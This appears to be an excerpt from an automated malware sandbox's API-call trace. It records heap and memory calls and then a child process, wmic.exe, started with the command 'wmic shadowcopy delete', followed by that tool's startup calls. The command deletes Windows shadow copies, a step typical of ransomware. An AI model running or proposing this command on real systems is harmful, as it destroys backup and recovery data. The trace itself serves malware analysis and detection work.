0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1180) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1280) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1300) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1200) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0fe0) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0da0) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0f60) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1000) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1020) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1340) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0e40) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b12a0) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0d40) returned 1 [0135.085] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0e20) returned 1 [0135.085] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b11a0) returned 1 [0135.085] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1260) returned 1 [0135.085] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0d60) returned 1 [0135.085] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1040) returned 1 [0135.085] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b10e0) returned 1 [0135.085] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1440) returned 1 [0135.085] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0ec0) returned 1 [0135.085] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0e60) returned 1 [0135.085] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1220) returned 1 [0135.085] GetProcessHeap () returned 0x11aa58a0000 [0135.085] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b11e0) returned 1 [0135.085] FreeLibrary (hLibModule=0x7ffca4110000) returned 1 [0135.086] exit (_Code=0) Thread: id = 202 os_tid = 0xfb0 Thread: id = 282 os_tid = 0xfdc [0134.457] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x11aa5904540 [0134.457] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x11aa58ff640 [0134.457] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x11aa58ff460 [0134.457] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x11aa58fd4a0 [0134.457] LocalFree (hMem=0x11aa5904540) returned 0x0 [0134.458] LocalFree (hMem=0x11aa58fd4a0) returned 0x0 [0134.458] LocalFree (hMem=0x11aa58ff460) returned 0x0 [0134.458] LocalFree (hMem=0x11aa58ff640) returned 0x0 Thread: id = 283 os_tid = 0xfe0 [0134.350] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x11aa5904540 [0134.350] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x11aa58ff970 [0134.350] LocalAlloc (uFlags=0x0, uBytes=0x18) returned 0x11aa5900840 [0134.351] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x11aa58fdb00 [0134.351] LocalReAlloc (hMem=0x11aa5900840, uBytes=0x20, uFlags=0x2) returned 0x11aa58b9be0 [0134.351] LocalFree (hMem=0x11aa5904540) returned 0x0 [0134.351] LocalFree (hMem=0x11aa58fdb00) returned 0x0 [0134.351] LocalFree (hMem=0x11aa58b9be0) returned 0x0 [0134.351] LocalFree (hMem=0x11aa58ff970) returned 0x0 Thread: id = 284 os_tid = 0xfe4 Process: id = "22" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x1c2dc000" os_pid = "0xfc4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xf50" cmd_line = "wmic shadowcopy delete" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 206 os_tid = 0xfc8 [0129.102] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff638960000 [0129.103] __set_app_type (_Type=0x1) [0129.103] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff63899ec40) returned 0x0 [0129.103] __wgetmainargs (in: _Argc=0x7ff6389c7258, _Argv=0x7ff6389c7260, _Env=0x7ff6389c7268, _DoWildCard=0, _StartInfo=0x7ff6389c7274 | out: _Argc=0x7ff6389c7258, _Argv=0x7ff6389c7260, _Env=0x7ff6389c7268) returned 0 [0129.105] ??0CHString@@QEAA@XZ () returned 0x7ff6389c79b0 [0129.107] malloc (_Size=0x30) returned 0x21c774d15a0 [0129.107] malloc (_Size=0x70) returned 0x21c774d15e0 [0129.107] malloc (_Size=0x50) returned 0x21c774d1660 [0129.107] malloc (_Size=0x30) returned 0x21c774d16c0 [0129.107] malloc (_Size=0x48) returned 0x21c774d1700 [0129.107] malloc (_Size=0x30) returned 0x21c774d1750 [0129.107] malloc (_Size=0x30) returned 0x21c774d6c00 [0129.107] ??0CHString@@QEAA@XZ () returned 0x7ff6389c7e60 [0129.107] malloc (_Size=0x30) returned 0x21c774d6c40 [0129.108] ?Empty@CHString@@QEAAXXZ () returned 0x7ffcb771674c [0129.108] SetConsoleCtrlHandler (HandlerRoutine=0x7ff638997ca0, Add=1) returned 1 [0129.108] _onexit (_Func=0x7ff6389a91c0) returned 0x7ff6389a91c0 [0129.108] _onexit (_Func=0x7ff6389a92a0) returned 0x7ff6389a92a0 [0129.108] _onexit (_Func=0x7ff6389a92e0) returned 0x7ff6389a92e0 [0129.108] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0129.108] ResolveDelayLoadedAPI () returned 0x7ffcc061efc0 [0129.109] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0129.113] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0129.140] CoCreateInstance (in: rclsid=0x7ff6389b0608*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6389b0618*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x7ff6389c7840 | out: ppv=0x7ff6389c7840*=0x21c771ec0f0) returned 0x0 [0129.227] GetCurrentProcess () returned 0xffffffffffffffff [0129.227] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0xc29553f6f0 | out: TokenHandle=0xc29553f6f0*=0x154) returned 1 [0129.227] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xc29553f6e8 | out: TokenInformation=0x0, ReturnLength=0xc29553f6e8) returned 0 [0129.227] malloc (_Size=0x118) returned 0x21c774d5a80 [0129.227] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x3, TokenInformation=0x21c774d5a80, TokenInformationLength=0x118, ReturnLength=0xc29553f6e8 | out: TokenInformation=0x21c774d5a80, ReturnLength=0xc29553f6e8) returned 1 [0129.227] AdjustTokenPrivileges (in: TokenHandle=0x154, DisableAllPrivileges=0, NewState=0x21c774d5a80*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-1530983478, Attributes=0x964a), (Luid.LowPart=0x21c, Luid.HighPart=2001541008, Attributes=0x21c), (Luid.LowPart=0x690070, Luid.HighPart=6750318, Attributes=0x330020), (Luid.LowPart=0x650047, Luid.HighPart=7667822, Attributes=0x6e0069), (Luid.LowPart=0x74006e, Luid.HighPart=7077989, Attributes=0x500000), (Luid.LowPart=0x450043, Luid.HighPart=5439571, Attributes=0x52004f))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0129.227] free (_Block=0x21c774d5a80) [0129.227] CloseHandle (hObject=0x154) returned 1 [0129.228] malloc (_Size=0x40) returned 0x21c774d5a80 [0129.228] malloc (_Size=0x40) returned 0x21c774d5ad0 [0129.228] malloc (_Size=0x40) returned 0x21c774d5b20 [0129.228] SetThreadUILanguage (LangId=0x0) returned 0x409 [0129.235] _vsnwprintf (in: _Buffer=0x21c774d5b20, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0xc29553f3f8 | out: _Buffer="ms_409") returned 6 [0129.235] malloc (_Size=0x20) returned 0x21c774d5b70 [0129.235] GetComputerNameW (in: lpBuffer=0x21c774d5b70, nSize=0xc29553f6f8 | out: lpBuffer="NQDPDE", nSize=0xc29553f6f8) returned 1 [0129.235] lstrlenW (lpString="NQDPDE") returned 6 [0129.235] malloc (_Size=0xe) returned 0x21c774d1790 [0129.235] lstrlenW (lpString="NQDPDE") returned 6 [0129.235] ResolveDelayLoadedAPI () returned 0x7ffcbe626960 [0129.236] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0xc29553f6f0 | out: lpNameBuffer=0x0, nSize=0xc29553f6f0) returned 0x0 [0129.237] GetLastError () returned 0xea [0129.237] malloc (_Size=0x1e) returned 0x21c774d5ba0 [0129.237] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x21c774d5ba0, nSize=0xc29553f6f0 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0xc29553f6f0) returned 0x1 [0129.238] lstrlenW (lpString="") returned 0 [0129.238] lstrlenW (lpString="NQDPDE") returned 6 [0129.238] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0129.239] lstrlenW (lpString=".") returned 1 [0129.240] lstrlenW (lpString="NQDPDE") returned 6 [0129.240] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2=".", cchCount2=1) returned 3 [0129.240] lstrlenW (lpString="LOCALHOST") returned 9 [0129.240] lstrlenW (lpString="NQDPDE") returned 6 [0129.240] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="LOCALHOST", cchCount2=9) returned 3 [0129.240] lstrlenW (lpString="NQDPDE") returned 6 [0129.240] lstrlenW (lpString="NQDPDE") returned 6 [0129.240] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="NQDPDE", cchCount2=6) returned 2 [0129.240] free (_Block=0x21c774d1790) [0129.240] lstrlenW (lpString="NQDPDE") returned 6 [0129.240] malloc (_Size=0xe) returned 0x21c774d1790 [0129.240] lstrlenW (lpString="NQDPDE") returned 6 [0129.240] lstrlenW (lpString="NQDPDE") returned 6 [0129.240] malloc (_Size=0xe) returned 0x21c774d5bd0 [0129.240] lstrlenW (lpString="NQDPDE") returned 6 [0129.240] malloc (_Size=0x8) returned 0x21c774d5bf0 [0129.240] malloc (_Size=0x18) returned 0x21c774d5c10 [0129.240] ResolveDelayLoadedAPI () returned 0x7ffcbfcecdb0 [0129.247] malloc (_Size=0x30) returned 0x21c774d5c30 [0129.247] malloc (_Size=0x18) returned 0x21c774d5c70 [0129.247] SysStringLen (param_1="IDENTIFY") returned 0x8 [0129.247] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0129.247] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0129.247] SysStringLen (param_1="IDENTIFY") returned 0x8 [0129.247] malloc (_Size=0x30) returned 0x21c774d5c90 [0129.247] malloc (_Size=0x18) returned 0x21c774d5cd0 [0129.247] SysStringLen (param_1="IMPERSONATE") returned 0xb [0129.247] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0129.247] SysStringLen (param_1="IMPERSONATE") returned 0xb [0129.247] SysStringLen (param_1="IDENTIFY") returned 0x8 [0129.247] SysStringLen (param_1="IDENTIFY") returned 0x8 [0129.247] SysStringLen (param_1="IMPERSONATE") returned 0xb [0129.247] malloc (_Size=0x30) returned 0x21c774d5cf0 [0129.247] malloc (_Size=0x18) returned 0x21c774d5d30 [0129.247] SysStringLen (param_1="DELEGATE") returned 0x8 [0129.247] SysStringLen (param_1="IDENTIFY") returned 0x8 [0129.247] SysStringLen (param_1="DELEGATE") returned 0x8 [0129.247] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0129.247] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0129.247] SysStringLen (param_1="DELEGATE") returned 0x8 [0129.247] malloc (_Size=0x30) returned 0x21c774d5d50 [0129.247] malloc (_Size=0x18) returned 0x21c774d5d90 [0129.247] malloc (_Size=0x30) returned 0x21c774d5db0 [0129.247] malloc (_Size=0x18) returned 0x21c774d5df0 [0129.247] SysStringLen (param_1="NONE") returned 0x4 [0129.247] SysStringLen (param_1="DEFAULT") returned 0x7 [0129.247] SysStringLen (param_1="DEFAULT") returned 0x7 [0129.247] SysStringLen (param_1="NONE") returned 0x4 [0129.247] malloc (_Size=0x30) returned 0x21c774d5e10 [0129.247] malloc (_Size=0x18) returned 0x21c774d5e50 [0129.247] SysStringLen (param_1="CONNECT") returned 0x7 [0129.247] SysStringLen (param_1="DEFAULT") returned 0x7 [0129.247] malloc (_Size=0x30) returned 0x21c774d5e70 [0129.247] malloc (_Size=0x18) returned 0x21c774d5eb0 [0129.247] SysStringLen (param_1="CALL") returned 0x4 [0129.248] SysStringLen (param_1="DEFAULT") returned 0x7 [0129.248] SysStringLen (param_1="CALL") returned 0x4 [0129.248] SysStringLen (param_1="CONNECT") returned 0x7 [0129.248] malloc (_Size=0x30) returned 0x21c774d5ed0 [0129.248] malloc (_Size=0x18) returned 0x21c774d5f10 [0129.248] SysStringLen (param_1="PKT") returned 0x3 [0129.248] SysStringLen (param_1="DEFAULT") returned 0x7 [0129.248] SysStringLen (param_1="PKT") returned 0x3 [0129.248] SysStringLen (param_1="NONE") returned 0x4 [0129.248] SysStringLen (param_1="NONE") returned 0x4 [0129.248] SysStringLen (param_1="PKT") returned 0x3 [0129.248] malloc (_Size=0x30) returned 0x21c774d5f30 [0129.248] malloc (_Size=0x18) returned 0x21c774d5f70 [0129.248] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0129.248] SysStringLen (param_1="DEFAULT") returned 0x7 [0129.248] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0129.248] SysStringLen (param_1="NONE") returned 0x4 [0129.248] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0129.248] SysStringLen (param_1="PKT") returned 0x3 [0129.248] SysStringLen (param_1="PKT") returned 0x3 [0129.248] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0129.248] malloc (_Size=0x30) returned 0x21c774da650 [0129.248] malloc (_Size=0x18) returned 0x21c774d5f90 [0129.248] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0129.248] SysStringLen (param_1="DEFAULT") returned 0x7 [0129.248] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0129.248] SysStringLen (param_1="PKT") returned 0x3 [0129.248] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0129.248] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0129.248] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0129.248] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0129.248] malloc (_Size=0x30) returned 0x21c774da850 [0129.248] malloc (_Size=0x40) returned 0x21c774d5fb0 [0129.248] malloc (_Size=0x20a) returned 0x21c774db010 [0129.248] GetSystemDirectoryW (in: lpBuffer=0x21c774db010, uSize=0x105 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0129.248] free (_Block=0x21c774db010) [0129.248] malloc (_Size=0x18) returned 0x21c774d6000 [0129.249] malloc (_Size=0x18) returned 0x21c774db010 [0129.249] malloc (_Size=0x18) returned 0x21c774db030 [0129.249] SysStringLen (param_1="C:\\WINDOWS\\system32") returned 0x13 [0129.249] SysStringLen (param_1="\\wbem\\") returned 0x6 [0129.249] free (_Block=0x21c774d6000) [0129.249] free (_Block=0x21c774db010) [0129.249] SysStringByteLen (bstr="C:\\WINDOWS\\system32\\wbem\\") returned 0x32 [0129.249] free (_Block=0x21c774db030) [0129.249] malloc (_Size=0x18) returned 0x21c774db340 [0129.249] malloc (_Size=0x18) returned 0x21c774db320 [0129.249] malloc (_Size=0x18) returned 0x21c774db180 [0129.249] SysStringLen (param_1="C:\\WINDOWS\\system32\\wbem\\") returned 0x19 [0129.249] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0129.249] free (_Block=0x21c774db340) [0129.249] free (_Block=0x21c774db320) [0129.249] GetCurrentThreadId () returned 0xfc8 [0129.249] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0xc29553f000 | out: phkResult=0xc29553f000*=0x15c) returned 0x0 [0129.249] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0xc29553f050, lpcbData=0xc29553eff0*=0x400 | out: lpType=0x0, lpData=0xc29553f050*=0x30, lpcbData=0xc29553eff0*=0x4) returned 0x0 [0129.249] _wcsicmp (_String1="0", _String2="1") returned -1 [0129.249] _wcsicmp (_String1="0", _String2="2") returned -2 [0129.249] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xc29553eff0*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0xc29553eff0*=0x42) returned 0x0 [0129.249] malloc (_Size=0x86) returned 0x21c774db420 [0129.249] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x21c774db420, lpcbData=0xc29553eff0*=0x42 | out: lpType=0x0, lpData=0x21c774db420*=0x25, lpcbData=0xc29553eff0*=0x42) returned 0x0 [0129.250] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0129.250] malloc (_Size=0x42) returned 0x21c774db4b0 [0129.250] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0129.250] RegQueryValueExW (in: hKey=0x15c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0xc29553f050, lpcbData=0xc29553eff0*=0x400 | out: lpType=0x0, lpData=0xc29553f050*=0x36, lpcbData=0xc29553eff0*=0xc) returned 0x0 [0129.250] _wtol (_String="65536") returned 65536 [0129.250] free (_Block=0x21c774db420) [0129.250] RegCloseKey (hKey=0x0) returned 0x6 [0129.250] CoCreateInstance (in: rclsid=0x7ff6389b0668*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6389b0678*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0xc29553f4f0 | out: ppv=0xc29553f4f0*=0x21c77496f20) returned 0x0 [0129.464] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x21c77496f20, xmlSource=0xc29553f630*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\WINDOWS\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0xc29553f6a0 | out: isSuccessful=0xc29553f6a0*=0xffff) returned 0x0 [0129.834] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x21c77496f20, DOMElement=0xc29553f4f8 | out: DOMElement=0xc29553f4f8*=0x21c774994b0) returned 0x0 [0129.837] malloc (_Size=0x18) returned 0x21c774db220 [0129.839] free (_Block=0x21c774db220) [0129.839] malloc (_Size=0x18) returned 0x21c774db100 [0129.840] free (_Block=0x21c774db100) [0129.840] malloc (_Size=0x18) returned 0x21c774db260 [0129.840] malloc (_Size=0x18) returned 0x21c774db1c0 [0129.840] malloc (_Size=0x30) returned 0x21c774daad0 [0129.841] malloc (_Size=0x18) returned 0x21c774db080 [0129.841] free (_Block=0x21c774db080) [0129.841] malloc (_Size=0x18) returned 0x21c774db160 [0129.841] malloc (_Size=0x18) returned 0x21c774db360 [0129.841] SysStringLen (param_1="VALUE") returned 0x5 [0129.841] SysStringLen (param_1="TABLE") returned 0x5 [0129.841] SysStringLen (param_1="TABLE") returned 0x5 [0129.841] SysStringLen (param_1="VALUE") returned 0x5 [0129.841] malloc (_Size=0x30) returned 0x21c774dab10 [0129.841] malloc (_Size=0x18) returned 0x21c774db220 [0129.841] free (_Block=0x21c774db220) [0129.841] malloc (_Size=0x18) returned 0x21c774db1a0 [0129.841] malloc (_Size=0x18) returned 0x21c774db060 [0129.841] SysStringLen (param_1="LIST") returned 0x4 [0129.841] SysStringLen (param_1="TABLE") returned 0x5 [0129.841] malloc (_Size=0x30) returned 0x21c774da690 [0129.841] malloc (_Size=0x18) returned 0x21c774db0a0 [0129.841] free (_Block=0x21c774db0a0) [0129.842] malloc (_Size=0x18) returned 0x21c774db140 [0129.842] malloc (_Size=0x18) returned 0x21c774db380 [0129.842] SysStringLen (param_1="RAWXML") returned 0x6 [0129.842] SysStringLen (param_1="TABLE") returned 0x5 [0129.842] SysStringLen (param_1="RAWXML") returned 0x6 [0129.842] SysStringLen (param_1="LIST") returned 0x4 [0129.842] SysStringLen (param_1="LIST") returned 0x4 [0129.842] SysStringLen (param_1="RAWXML") returned 0x6 [0129.842] malloc (_Size=0x30) returned 0x21c774da790 [0129.842] malloc (_Size=0x18) returned 0x21c774db3a0 [0129.842] free (_Block=0x21c774db3a0) [0129.842] malloc (_Size=0x18) returned 0x21c774db0c0 [0129.842] malloc (_Size=0x18) returned 0x21c774db280 [0129.842] SysStringLen (param_1="HTABLE") returned 0x6 [0129.842] SysStringLen (param_1="TABLE") returned 0x5 [0129.842] SysStringLen (param_1="HTABLE") returned 0x6 [0129.842] SysStringLen (param_1="LIST") returned 0x4 [0129.842] malloc (_Size=0x30) returned 0x21c774da4d0 [0129.842] malloc (_Size=0x18) returned 0x21c774db3a0 [0129.842] free (_Block=0x21c774db3a0) [0129.842] malloc (_Size=0x18) returned 0x21c774db3a0 [0129.843] malloc (_Size=0x18) returned 0x21c774db2a0 [0129.843] SysStringLen (param_1="HFORM") returned 0x5 [0129.843] SysStringLen (param_1="TABLE") returned 0x5 [0129.843] SysStringLen (param_1="HFORM") returned 0x5 [0129.843] SysStringLen (param_1="LIST") returned 0x4 [0129.843] SysStringLen (param_1="HFORM") returned 0x5 [0129.843] SysStringLen (param_1="HTABLE") returned 0x6 [0129.843] malloc (_Size=0x30) returned 0x21c774da9d0 [0129.843] malloc (_Size=0x18) returned 0x21c774db1e0 [0129.843] free (_Block=0x21c774db1e0) [0129.843] malloc (_Size=0x18) returned 0x21c774db0e0 [0129.843] malloc (_Size=0x18) returned 0x21c774db080 [0129.843] SysStringLen (param_1="XML") returned 0x3 [0129.843] SysStringLen (param_1="TABLE") returned 0x5 [0129.843] SysStringLen (param_1="XML") returned 0x3 [0129.843] SysStringLen (param_1="VALUE") returned 0x5 [0129.843] SysStringLen (param_1="VALUE") returned 0x5 [0129.843] SysStringLen (param_1="XML") returned 0x3 [0129.843] malloc (_Size=0x30) returned 0x21c774da490 [0129.843] malloc (_Size=0x18) returned 0x21c774db1e0 [0129.843] free (_Block=0x21c774db1e0) [0129.843] malloc (_Size=0x18) returned 0x21c774db3c0 [0129.843] malloc (_Size=0x18) returned 0x21c774db1e0 [0129.844] SysStringLen (param_1="MOF") returned 0x3 [0129.844] SysStringLen (param_1="TABLE") returned 0x5 [0129.844] SysStringLen (param_1="MOF") returned 0x3 [0129.844] SysStringLen (param_1="LIST") returned 0x4 [0129.844] SysStringLen (param_1="MOF") returned 0x3 [0129.844] SysStringLen (param_1="RAWXML") returned 0x6 [0129.844] SysStringLen (param_1="LIST") returned 0x4 [0129.844] SysStringLen (param_1="MOF") returned 0x3 [0129.844] malloc (_Size=0x30) returned 0x21c774da6d0 [0129.844] malloc (_Size=0x18) returned 0x21c774db120 [0129.844] free (_Block=0x21c774db120) [0129.844] malloc (_Size=0x18) returned 0x21c774db0a0 [0129.844] malloc (_Size=0x18) returned 0x21c774db2c0 [0129.844] SysStringLen (param_1="CSV") returned 0x3 [0129.844] SysStringLen (param_1="TABLE") returned 0x5 [0129.844] SysStringLen (param_1="CSV") returned 0x3 [0129.844] SysStringLen (param_1="LIST") returned 0x4 [0129.844] SysStringLen (param_1="CSV") returned 0x3 [0129.844] SysStringLen (param_1="HTABLE") returned 0x6 [0129.844] SysStringLen (param_1="CSV") returned 0x3 [0129.844] SysStringLen (param_1="HFORM") returned 0x5 [0129.844] malloc (_Size=0x30) returned 0x21c774da5d0 [0129.844] malloc (_Size=0x18) returned 0x21c774db2e0 [0129.844] free (_Block=0x21c774db2e0) [0129.845] malloc (_Size=0x18) returned 0x21c774db2e0 [0129.845] malloc (_Size=0x18) returned 0x21c774db340 [0129.845] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 